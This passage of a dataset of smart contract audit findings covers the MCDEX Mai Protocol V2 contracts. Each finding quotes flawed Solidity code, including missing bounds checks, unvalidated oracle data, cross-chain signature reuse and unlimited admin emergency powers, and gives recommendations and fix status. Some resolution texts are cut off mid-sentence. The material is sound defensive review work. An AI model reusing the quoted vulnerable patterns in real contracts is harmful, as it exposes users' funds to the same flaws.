this is because the behavior can change at any time. We recommend giving the user advance notice of changes with a time lock. For example, make all updates to system parameters or upgrades require two steps with a mandatory time window between them. The first step merely broadcasts to users that a particular change is coming, and the second step commits that change after a suitable waiting period. Additionally, users should verify the whitelist setup before using the contract system and monitor it for new additions to the whitelist. Documentation should clearly outline what roles are owned by whom to support suitability. Sane parameter bounds should be enforced (e.g. min. disallow block delay of zero ) ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.7 AMM - Governance is able to set an invalid alpha value Pending", "body": " Resolution This issue was addressed by checking that the provided Description According to https://en.wikipedia.org/wiki/Moving_average The coefficient \u03b1 represents the degree of weighting decrease, a constant smoothing factor between 0 and 1. A higher \u03b1 discounts older observations faster. However, the code does not check upper bounds. An admin may, therefore, set an invalid alpha that puts emaAlpha2 out of bounds or negative. Examples code/contracts/liquidity/AMMGovernance.sol:L27-L31 } else if (key == \"emaAlpha\") { require(value > 0, \"alpha should be > 0\"); governance.emaAlpha = value; emaAlpha2 = 10**18 - governance.emaAlpha; emaAlpha2Ln = emaAlpha2.wln(); Recommendation Ensure that the system configuration is always within safe bounds. Document expected system variable types and their safe operating ranges. Enforce that bounds are checked every time a value is set. Enforce safe defaults when deploying contracts. Ensure emaAlpha is 0 < value < 1 WAD ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.8 AMM - Amount of collateral spent or shares received may be unpredictable for liquidity provider ", "body": " Resolution The client acknowledges this issue without providing further information or implementing the recommended fixes. Description When providing liquidity with addLiquidity(), the amount of collateral required is based on the current price and the amount of shares received depends on the total amount of shares in circulation. This price can fluctuate at a moment s notice, making the behavior of the function unpredictable for the user. The same is true when removing liquidity via removeLiquidity(). Recommendation Unpredictability can be introduced by someone front-running the transaction, or simply by poor timing. For example, adjustments to global variable configuration by the system admin will directly impact subsequent actions by the user. In order to ensure users know what to expect: Allow the caller to specify a price limit or maximum amount of collateral to be spent Allow the caller to specify the minimum amount of shares expected to be received ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.9 Exchange - insufficient input validation in matchOrders Pending", "body": " Resolution This issue was addressed by following the recommendation to verify that Description Additionally, the method allows the sender to provide no makerOrderParams at all, resulting in no state changes. matchOrders also does not reject trades with an amount set to zero. Such orders should be rejected because they do not comply with the minimum tradingLotSize configured for the system. As a side-effect, events may be emitted for zero-amount trades and unexpected state changes may occur. Examples code/contracts/exchange/Exchange.sol:L34-L39 function matchOrders( LibOrder.OrderParam memory takerOrderParam, LibOrder.OrderParam[] memory makerOrderParams, address _perpetual, uint256[] memory amounts ) public { code/contracts/exchange/Exchange.sol:L113-L113 function matchOrderWithAMM(LibOrder.OrderParam memory takerOrderParam, address _perpetual, uint256 amount) public { Recommendation Require makerOrderParams.length > 0 && amounts.length == makerOrderParams.length Require that amount or any of the amounts[i] provided to matchOrders is >=tradingLotSize. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.10 AMM - Liquidity provider may lose up to lotSize when removing liquidity ", "body": " Resolution The client acknowledges this issue without providing further information. Description When removing liquidity, the amount of collateral received is calculated from the shareAmount (ShareToken) of the liquidity provider. The liquidity removal process registers a trade on the amount, with the liquidity provider and AMM taking opposite sides. Because trading only accepts multiple of the lotSize, the leftover is discarded. The amount discarded may be up to lotSize - 1. The expectation is that this value should not be too high, but as lotSize can be set to arbitrary values by an admin, it is possible that this step discards significant value. Additionally, see issue 6.6 for how this can be exploited by an admin. Note that similar behavior is present in Perpetual.liquidateFrom, where the liquidatableAmount calculated undergoes a similar modulo operation: code/contracts/perpetual/Perpetual.sol:L277-L278 uint256 liquidatableAmount = totalPositionSize.sub(totalPositionSize.mod(governance.lotSize)); liquidationAmount = liquidationAmount.ceil(governance.lotSize).min(maxAmount).min(liquidatableAmount); Examples lotSize can arbitrarily be set up to pos_int256_max as long as tradingLotSize % lotSize == 0 code/contracts/perpetual/PerpetualGovernance.sol:L61-L69 } else if (key == \"lotSize\") { require( governance.tradingLotSize == 0 || governance.tradingLotSize.mod(value.toUint256()) == 0, \"require tls % ls == 0\" ); governance.lotSize = value.toUint256(); } else if (key == \"tradingLotSize\") { require(governance.lotSize == 0 || value.toUint256().mod(governance.lotSize) == 0, \"require tls % ls == 0\"); governance.tradingLotSize = value.toUint256(); amount is derived from shareAmount rounded down to the next multiple of the lotSize. The leftover is discarded. code/contracts/liquidity/AMM.sol:L289-L294 uint256 amount = shareAmount.wmul(oldPoolPositionSize).wdiv(shareToken.totalSupply()); amount = amount.sub(amount.mod(perpetualProxy.lotSize())); perpetualProxy.transferBalanceOut(trader, price.wmul(amount).mul(2)); burnShareTokenFrom(trader, shareAmount); uint256 opened = perpetualProxy.trade(trader, LibTypes.Side.LONG, price, amount); Recommendation Ensure that documentation makes users aware of the fact that they may lose up to lotsize-1 in value. Alternatively, track accrued value and permit trades on values that exceed lotSize. Note that this may add significant complexity. Ensure that similar system behavior, like the liquidatableAmount calculated in Perpetual.liquidateFrom, is also documented and communicated clearly to users. ", "labels": ["Consensys", "Medium", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.11 Oracle - Unchecked oracle response timestamp and integer over/underflow ", "body": " Resolution This issue was resolved by following the recommendations, using LibMath for arithmetic operations to guard against over/underflows, checking that newPrice != 0 verifying that the timestamp is within a configurable range, duplicating the code and combining the reverse oracle into one contract The assessment team would like to note that the acceptable time-frame for answers can vary, the price may be outdated, and it is totally up to the deployer to configure the acceptable timeout. The timeout can be changed by the account deploying the oracle feed without a delay allowing the price-feed owner to arbitrarily make calls to AMM.indexPrice fail (front-running). A timeout may be set to an arbitrarily high value to bypass the check. User s of the system are advised to validate that they trust the account operating the feeder and that the timeout is set correctly. Description The external Chainlink oracle, which provides index price information to the system, introduces risk inherent to any dependency on third-party data sources. For example, the oracle could fall behind or otherwise fail to be maintained, resulting in outdated data being fed to the index price calculations of the AMM. Oracle reliance has historically resulted in crippled on-chain systems, and complications that lead to these outcomes can arise from things as simple as network congestion. Ensuring that unexpected oracle return values are properly handled will reduce reliance on off-chain components and increase the resiliency of the smart contract system that depends on them. Examples The ChainlinkAdapter and InversedChainlinkAdapter take the oracle s (int256) latestAnswer and convert the result using chainlinkDecimalsAdapter. This arithmetic operation can underflow/overflow if the Oracle provides a large enough answer: code/contracts/oracle/ChainlinkAdapter.sol:L10-L19 int256 public constant chainlinkDecimalsAdapter = 10**10; constructor(address _feeder) public { feeder = IChainlinkFeeder(_feeder); function price() public view returns (uint256 newPrice, uint256 timestamp) { newPrice = (feeder.latestAnswer() * chainlinkDecimalsAdapter).toUint256(); timestamp = feeder.latestTimestamp(); code/contracts/oracle/InversedChainlinkAdapter.sol:L11-L20 int256 public constant chainlinkDecimalsAdapter = 10**10; constructor(address _feeder) public { feeder = IChainlinkFeeder(_feeder); function price() public view returns (uint256 newPrice, uint256 timestamp) { newPrice = ONE.wdiv(feeder.latestAnswer() * chainlinkDecimalsAdapter).toUint256(); timestamp = feeder.latestTimestamp(); The oracle provides a timestamp for the latestAnswer that is not validated and may lead to old oracle timestamps being accepted (e.g. caused by congestion on the blockchain or a directed censorship attack). code/contracts/oracle/InversedChainlinkAdapter.sol:L19-L20 timestamp = feeder.latestTimestamp(); Recommendation Use SafeMath for mathematical computations Verify latestAnswer is within valid bounds (!=0) Verify latestTimestamp is within accepted bounds (not in the future, was updated within a reasonable amount of time) Deduplicate code by combining both Adapters into one as the only difference is that the InversedChainlinkAdapter returns ONE.wdiv(price). ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.12 AMM - Liquidity pools can be initialized with zero collateral Pending", "body": " Resolution This issue was addressed by checking that amount > 0. The assessment team would like to note that; The client chose to verify that amount is non-zero when calling createPool instead of requiring a minimum of a lotSize. The client did not address the issues about removeLiquidity and addLiquidity allowing to remove and add zero liquidity. Description createPool can be initialized with amount == 0. Because a subsequent call to initFunding can only happen once, the contract is now initialized with a zero size pool that does not allow any liquidity to be added. Trying to recover by calling createPool again fails as the funding state is already initialized. The specification also states the following about createPool: Open asset pool by deposit to AMM. Only available when pool is empty. This is inaccurate, as createPool can only be called once due to a check in initFunding, but this call may leave the pool empty. Furthermore, the contract s liquidity management functionality (addLiquidity and removeLiquidity) allows adding zero liquidity (amount == 0) and removing zero shares (shareAmount == 0). As these actions do not change the liquidity of the pool, they should be rejected. Recommendation Require a minimum amount lotSize to be provided when creating a Pool and adding liquidity via addLiquidity Require a minimum amount of shares to be provided when removing liquidity via removeLiquidity ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.13 Perpetual - Administrators can put the system into emergency mode indefinitely Pending", "body": " Resolution The client provided the following statement addressing the issue: It should be solved by voting. Moreover, we add two roles who is able to disable withdrawing /pause the system. The duration of the emergency phase is still unrestricted. Description There is no limitation on how long an administrator can put the Perpetual contract into emergency mode. Users cannot trade or withdraw funds in emergency mode and are effectively locked out until the admin chooses to put the contract in SETTLED mode. Examples code/contracts/perpetual/PerpetualGovernance.sol:L96-L101 function beginGlobalSettlement(uint256 price) public onlyWhitelistAdmin { require(status != LibTypes.Status.SETTLED, \"already settled\"); settlementPrice = price; status = LibTypes.Status.SETTLING; emit BeginGlobalSettlement(price); code/contracts/perpetual/Perpetual.sol:L146-L154 function endGlobalSettlement() public onlyWhitelistAdmin { require(status == LibTypes.Status.SETTLING, \"wrong perpetual status\"); address guy = address(amm.perpetualProxy()); settleFor(guy); status = LibTypes.Status.SETTLED; emit EndGlobalSettlement(); Recommendation Set a time-lock when entering emergency mode that allows anyone to set the system to SETTLED after a fixed amount of time. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.14 Signed data may be usable cross-chain ", "body": " Resolution This issue was addressed by adding the order data and verifying it as part of Description Signed order data may be re-usable cross-chain as the chain-id is not explicitly part of the signed data. Examples The signed order data currently includes the EIP712 Domain Name Mai Protocol and the following information: code/contracts/lib/LibOrder.sol:L23-L48 struct Order { address trader; address broker; address perpetual; uint256 amount; uint256 price; /** Data contains the following values packed into 32 bytes \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2564\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557 \u2551 \u2502 length(bytes) desc \u2551 \u255f\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2562 \u2551 version \u2502 1 order version \u2551 \u2551 side \u2502 1 0: buy (long), 1: sell (short) \u2551 \u2551 isMarketOrder \u2502 1 0: limitOrder, 1: marketOrder \u2551 \u2551 expiredAt \u2502 5 order expiration time in seconds \u2551 \u2551 asMakerFeeRate \u2502 2 maker fee rate (base 100,000) \u2551 \u2551 asTakerFeeRate \u2502 2 taker fee rate (base 100,000) \u2551 \u2551 (d) makerRebateRate\u2502 2 rebate rate for maker (base 100) \u2551 \u2551 salt \u2502 8 salt \u2551 \u2551 isMakerOnly \u2502 1 is maker only \u2551 \u2551 isInversed \u2502 1 is inversed contract \u2551 \u2551 \u2502 8 reserved \u2551 \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2567\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d / bytes32 data; Signature verification: code/contracts/lib/LibSignature.sol:L24-L47 function isValidSignature(OrderSignature memory signature, bytes32 hash, address signerAddress) internal pure returns (bool) uint8 method = uint8(signature.config[1]); address recovered; uint8 v = uint8(signature.config[0]); if (method == uint8(SignatureMethod.ETH_SIGN)) { recovered = ecrecover( keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", hash)), v, signature.r, signature.s ); } else if (method == uint8(SignatureMethod.EIP712)) { recovered = ecrecover(hash, v, signature.r, signature.s); } else { revert(\"invalid sign method\"); return signerAddress == recovered; Recommendation Include the chain-id in the signature to avoid cross-chain validity of signatures verify s is within valid bounds to avoid signature malleability if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert(\"ECDSA: invalid signature 's' value\"); verify v is within valid bounds if (v != 27 && v != 28) { revert(\"ECDSA: invalid signature 'v' value\"); return invalid if the result of ecrecover() is 0x0 ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.15 Exchange - validateOrderParam does not check against SUPPORTED_ORDER_VERSION ", "body": " Resolution This issue was resolved by checking against Description validateOrderParam verifies the signature and version of a provided order. Instead of checking against the contract constant SUPPORTED_ORDER_VERSION it, however, checks against a hardcoded version 2 in the method itself. This might be a problem if SUPPORTED_ORDER_VERSION is seen as the configuration parameter for the allowed version. Changing it would not change the allowed order version for validateOrderParam as this constant literal is never used. At the time of this audit, however, the SUPPORTED_ORDER_VERSION value equals the hardcoded value in the validateOrderParam method. Examples code/contracts/exchange/Exchange.sol:L155-L170 function validateOrderParam(IPerpetual perpetual, LibOrder.OrderParam memory orderParam) internal view returns (bytes32) address broker = perpetual.currentBroker(orderParam.trader); require(broker == msg.sender, \"invalid broker\"); require(orderParam.getOrderVersion() == 2, \"unsupported version\"); require(orderParam.getExpiredAt() >= block.timestamp, \"order expired\"); bytes32 orderHash = orderParam.getOrderHash(address(perpetual), broker); require(orderParam.signature.isValidSignature(orderHash, orderParam.trader), \"invalid signature\"); require(filled[orderHash] < orderParam.amount, \"fullfilled order\"); return orderHash; Recommendation Check against SUPPORTED_ORDER_VERSION instead of the hardcoded value 2. ", "labels": ["Consensys", "Medium", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.16 LibMathSigned - wpowi returns an invalid result for a negative exponent Pending", "body": " Resolution This issue was addressed by requiring that here). The method is still lacking proper natspec documentation outlining expected argument types and valid ranges. The client chose not to implement a check to detect the case where a user accidentally provides Description LibMathSigned.wpowi(x,n) calculates Wad value x (base) to the power of n (exponent). The exponent is declared as a signed int, however, the method returns wrong results when calculating x ^(-n). The comment for the wpowi method suggests that n is a normal integer instead of a Wad-denominated value. This, however, is not being enforced. Examples LibMathSigned.wpowi(8000000000000000000, 2) = 64000000000000000000 (wrong) LibMathSigned.wpowi(8000000000000000000, -2) = 64000000000000000000 code/contracts/lib/LibMath.sol:L103-L116 // x ^ n // NOTE: n is a normal integer, do not shift 18 decimals // solium-disable-next-line security/no-assign-params function wpowi(int256 x, int256 n) internal pure returns (int256 z) { z = n % 2 != 0 ? x : _WAD; for (n /= 2; n != 0; n /= 2) { x = wmul(x, x); if (n % 2 != 0) { z = wmul(z, x); Recommendation Make wpowi support negative exponents or use the proper type for n (uint) and reject negative values. Enforce that the exponent bounds are within sane ranges and less than a Wad to detect potential misuse where someone accidentally provides a Wad value as n. Add positive and negative unit-tests to fully cover this functionality. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.17 Outdated solidity version and floating pragma Pending", "body": " Resolution This issue was addressed by removing the floating pragma and fixing the compiler version to v0.5.15. The assessment team would like to note, that the latest ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "0.5.17 with 0.5.16 addressing an ABIEncoder issue.", "body": " Description Using an outdated compiler version can be problematic especially if there are publicly disclosed bugs and issues (see also https://github.com/ethereum/solidity/releases) that affect the current compiler version. The codebase specifies a floating version of ^0.5.2 and makes use of the experimental feature ABIEncoderV2. It should be noted, that ABIEncoderV2 was subject to multiple bug-fixes up until the latest 0.6.xversion and contracts compiled with earlier versions are - for example - susceptible to the following issues: ImplicitConstructorCallvalueCheck TupleAssignmentMultiStackSlotComponents MemoryArrayCreationOverflow privateCanBeOverridden YulOptimizerRedundantAssignmentBreakContinue0.5 ABIEncoderV2CalldataStructsWithStaticallySizedAndDynamicallyEncodedMembers SignedArrayStorageCopy ABIEncoderV2StorageArrayWithMultiSlotElement DynamicConstructorArgumentsClippedABIV2 Examples Codebase declares compiler version ^0.5.2: code/contracts/liquidity/AMM.sol:L1-L2 pragma solidity ^0.5.2; pragma experimental ABIEncoderV2; // to enable structure-type parameters According to etherscan.io, the currently deployed main-net AMM contract is compiled with solidity version 0.5.8: https://etherscan.io/address/0xb95B9fb0539Ec84DeD2855Ed1C9C686Af9A4e8b3#code Recommendation It is recommended to settle on the latest stable 0.6.x or 0.5.x version of the Solidity compiler and lock the pragma version to a specifically tested compiler release. ", "labels": ["Consensys"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.18 AMM - ONE_WAD_U is never used ", "body": " Resolution This issue is resolved by removing Description The const ONE_WAD_U is declared but never used. Avoid re-declaring the same constants in multiple source-units (and unit-test cases) as this will be hard to maintain. Examples code/contracts/liquidity/AMM.sol:L17-L17 uint256 private constant ONE_WAD_U = 10**18; Recommendation ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.19 Perpetual - Variable shadowing in constructor ", "body": " Resolution This issue was addressed by following the recommendation. Description Perpetual inherits from PerpetualGovernance and Collateral, which declare state variables that are shadowed in the Perpetual constructor. Examples Local constructor argument shadows PerpetualGovernance.globalConfig, PerpetualGovernance.devAddress, Collateral.collateral Note: Confusing name: Collateral is an inherited contract and a state variable. code/contracts/perpetual/Perpetual.sol:L34-L41 constructor(address globalConfig, address devAddress, address collateral, uint256 collateralDecimals) public Position(collateral, collateralDecimals) setGovernanceAddress(\"globalConfig\", globalConfig); setGovernanceAddress(\"dev\", devAddress); emit CreatePerpetual(); Recommendation Rename the parameter or state variable. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.20 Perpetual - The specified decimals for the collateral may not reflect the token s actual decimals ", "body": " Resolution The client acknowledges this issue without providing further information. Description When initializing the Perpetual contract, the deployer can decide to use either ETH, or an ERC20-compliant collateral. In the latter case, the deployer must provide a nonzero address for the token, as well as the number of decimals used by the token: code/contracts/perpetual/Collateral.sol:L28-L34 constructor(address _collateral, uint256 decimals) public { require(decimals <= MAX_DECIMALS, \"decimals out of range\"); require(_collateral != address(0x0) || (_collateral == address(0x0) && decimals == 18), \"invalid decimals\"); collateral = _collateral; scaler = (decimals == MAX_DECIMALS ? 1 : 10**(MAX_DECIMALS - decimals)).toInt256(); The provided decimals value is not checked for validity and can differ from the actual token s decimals. Recommendation Ensure to establish documentation that makes users aware of the fact that the decimals configured are not enforced to match the actual tokens decimals. This is to allow users to audit the system configuration and decide whether they want to participate in it. ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.21 AMM - Unchecked return value in ShareToken.mint Pending", "body": " Resolution This issue was addressed by adding checks to Description ShareToken is an extension of the Openzeppelin ERC20Mintable pattern which exposes a method called mint() that allows accounts owning the minter role to mint new tokens. The return value of ShareToken.mint() is not checked. Since the ERC20 standard does not define whether this method should return a value or revert it may be problematic to assume that all tokens revert. If, for example, an implementation is used that does not revert on error but returns a boolean error indicator instead the caller might falsely continue without the token minted. We would like to note that the functionality is intended to be used with the provided ShareToken and therefore the contract is safe to use assuming ERC20Mintable.mint reverts on error. The issue arises if the system is used with a different ShareToken implementation that is not implemented in the same way. Examples Openzeppelin implementation function mint(address account, uint256 amount) public onlyMinter returns (bool) { _mint(account, amount); return true; Call with unchecked return value code/contracts/liquidity/AMM.sol:L499-L502 function mintShareTokenTo(address guy, uint256 amount) internal { shareToken.mint(guy, amount); Recommendation Consider wrapping the mint statement in a require clause, however, this way only tokens that are returning a boolean error indicator are supported. Document the specification requirements for the ShareToken and clearly state if the token is expected to revert or return an error indicator. It should also be documented that the Token exposes a burn method that does not adhere to the Openzeppelin ERC20Burnable implementation. The ERC20Burnable import is unused as noted in issue 6.23. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.22 Perpetual - beginGlobalSettlement can be called multiple times ", "body": " Resolution The client addressed this issue with the following statement: Acknowledged. It sill can be call multiple times to correct the settlement price. Voting and pausemay improve the situation.When pause, no liquidation which may leading to losing position happens event in theemergency mode. beginGlobalSettlement can still be called multiple times. Description The system can be put into emergency mode by an admin calling beginGlobalSettlement and providing a fixed settlementPrice. The method can be invoked even when the contract is already in SETTLING (emergency) mode, allowing an admin to selectively adjust the settlement price again. This does not seem to be the intended behavior as calling the method again re-sets the status to SETTLING. Furthermore, it may affect users behavior during the SETTLING phase. Examples code/contracts/perpetual/PerpetualGovernance.sol:L96-L101 function beginGlobalSettlement(uint256 price) public onlyWhitelistAdmin { require(status != LibTypes.Status.SETTLED, \"already settled\"); settlementPrice = price; status = LibTypes.Status.SETTLING; emit BeginGlobalSettlement(price); Recommendation Emergency mode should only be allowed to be set once ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.23 Unused Imports ", "body": " Resolution This issue was addressed by removing the listed imports. Description The following source units are imported but not referenced in the contract: Examples code/contracts/perpetual/Perpetual.sol:L4-L5 import \"@openzeppelin/contracts/token/ERC20/IERC20.sol\"; import \"@openzeppelin/contracts/token/ERC20/SafeERC20.sol\"; code/contracts/perpetual/Perpetual.sol:L14-L15 import \"../interface/IPriceFeeder.sol\"; import \"../interface/IGlobalConfig.sol\"; code/contracts/token/ShareToken.sol:L5-L5 import \"@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol\"; code/contracts/token/ShareToken.sol:L3-L3 import \"@openzeppelin/contracts/token/ERC20/ERC20.sol\"; Recommendation Check all imports and remove all unused/unreferenced and unnecessary imports. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.24 Exchange - OrderStatus is never used ", "body": " Resolution This issue was resolved by removing the unused code. Description The enum OrderStatus is declared but never used. Examples code/contracts/exchange/Exchange.sol:L20-L20 enum OrderStatus {EXPIRED, CANCELLED, FILLABLE, FULLY_FILLED} Recommendation Remove unused code. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.25 LibMath - Inaccurate declaration of _UINT256_MAX ", "body": " Resolution This issue was addressed by renaming Description LibMathUnsigned declares _UINT256_MAX as 2^255-1 while this value actually represents _INT256_MAX. This appears to just be a naming issue. Examples (UINT256_MAX/2-1 => pos INT256_MAX; 2**256/2-1==2**255-1) code/contracts/lib/LibMath.sol:L228-L230 library LibMathUnsigned { uint256 private constant _WAD = 10**18; uint256 private constant _UINT256_MAX = 2**255 - 1; Recommendation Rename _UINT256_MAX to _INT256MAX or _SIGNED_INT256MAX. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.26 LibMath - inconsistent assertion text and improve representation of literals with many digits ", "body": " Resolution The client acknowledges this issue without providing further information. Description The assertion below states that logE only accepts v <= 1e22 * 1e18 while the argument name is x. In addition to that we suggest representing large literals in scientific notation. Examples code/contracts/lib/LibMath.sol:L153-L157 function wln(int256 x) internal pure returns (int256) { require(x > 0, \"logE of negative number\"); require(x <= 10000000000000000000000000000000000000000, \"logE only accepts v <= 1e22 * 1e18\"); // in order to prevent using safe-math int256 r = 0; uint8 extra_digits = longer_digits - fixed_digits; Recommendation Update the inconsistent assertion text v -> x and represent large literals in scientific notation as they are otherwise difficult to read and review. ", "labels": ["Consensys", "Minor", "Acknowledged"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.27 LibMath - roundHalfUp returns unfinished result ", "body": " Resolution This issue was addressed by adding the following comment to the function signature. Please note that the code documentation does not adhere to the natspec format. // ROUND_HALF_UP rule helper. You have to call roundHalfUp(x, y) / y to finish the rounding operation There is still the residual risk that someone might miss the comment and wrongly assume that the method finishes rounding. This is, however, accepted by the client. Description It is assumed that the final rounding step is not executed for performance reasons. However, this might easily introduce errors when the caller assumes the result is rounded for base while it is not. Examples roundHalfUp(-4700, 1000) = -4700 instead of 5000 roundHalfUp(4700, 1000) = 4700 instead of 5000 code/contracts/lib/LibMath.sol:L126-L133 // ROUND_HALF_UP rule helper. 0.5 \u2248 1, 0.4 \u2248 0, -0.5 \u2248 -1, -0.4 \u2248 0 function roundHalfUp(int256 x, int256 y) internal pure returns (int256) { require(y > 0, \"roundHalfUp only supports y > 0\"); if (x >= 0) { return add(x, y / 2); return sub(x, y / 2); Recommendation We have verified the current code-base and the callers for roundHalfUp are correctly finishing the rounding step. However, it is recommended to finish the rounding within the method or document this behavior to prevent errors caused by code that falsely assumes that the returned value finished rounding. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.28 LibMath/LibOrder - unused named return value ", "body": " Resolution This issue was resolved by either returning a named value or using the return statement. Description The following methods declare a named return value but explicitly return a value instead. The named return value is not used. LibMathSigned.min() LibMathSigned.max() LibMathUnsigned.min() LibMathUnsigned.max() LibOrder.getOrderHash() LibOrder.hashOrder() Examples code/contracts/lib/LibMath.sol:L90-L96 function min(int256 x, int256 y) internal pure returns (int256 z) { return x <= y ? x : y; function max(int256 x, int256 y) internal pure returns (int256 z) { return x >= y ? x : y; code/contracts/lib/LibMath.sol:L285-L292 function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; code/contracts/lib/LibOrder.sol:L68-L71 function getOrderHash(Order memory order) internal pure returns (bytes32 orderHash) { orderHash = LibEIP712.hashEIP712Message(hashOrder(order)); return orderHash; code/contracts/lib/LibOrder.sol:L86-L97 function hashOrder(Order memory order) internal pure returns (bytes32 result) { bytes32 orderType = EIP712_ORDER_TYPE; // solium-disable-next-line security/no-inline-assembly assembly { let start := sub(order, 32) let tmp := mload(start) mstore(start, orderType) result := keccak256(start, 224) mstore(start, tmp) return result; Recommendation Remove the named return value and explicitly return the value. ", "labels": ["Consensys", "Minor", "Fixed"], "html_url": "https://consensys.io/diligence/audits/2020/05/mcdex-mai-protocol-v2/"}, {"title": "6.29 Where possible, a specific contract type should be used rather than address Pending", "body": " Resolution This issue was partially addressed by changing some state variable declarations from Description Rather than storing addresses and then casting to the known contract type, it s better to use the best type available so the compiler can check for type safety. Examples Collateral. collateral is of type address, but it could be type IERC20 instead. Not only would this give a little more type safety when deploying new modules, but it would avoid repeated casts throughout the codebase of the form IERC20(collateral), IPerpetual(_perpetual) and others. The following is an incomplete list of examples: declare collateral as IERC20 code/contracts/perpetual/Collateral.sol:L19-L19 address public collateral; code/contracts/perpetual/Collateral.sol:L51-L51 IERC20(collateral).safeTransferFrom(guy, address(this), rawAmount); declare argument perpetual as IPerpetual code/contracts/exchange/Exchange.sol:L34-L42 function matchOrders( LibOrder.OrderParam memory takerOrderParam, LibOrder.OrderParam[] memory makerOrderParams, address _perpetual, uint256[] memory amounts ) public { require(!takerOrderParam.isMakerOnly(), \"taker order is maker only\"); IPerpetual perpetual = IPerpetual(_perpetual); declare argument feeder as IChainlinkFeeder code/contracts/oracle/ChainlinkAdapter.sol:L12-L14 constructor(address _feeder) public { feeder = IChainlinkFeeder(_feeder); Remediation Where possible, use more specific types instead of address. This goes for parameter types as well as state variable types. ", "labels": ["Consensys", "Minor"], "html_url": 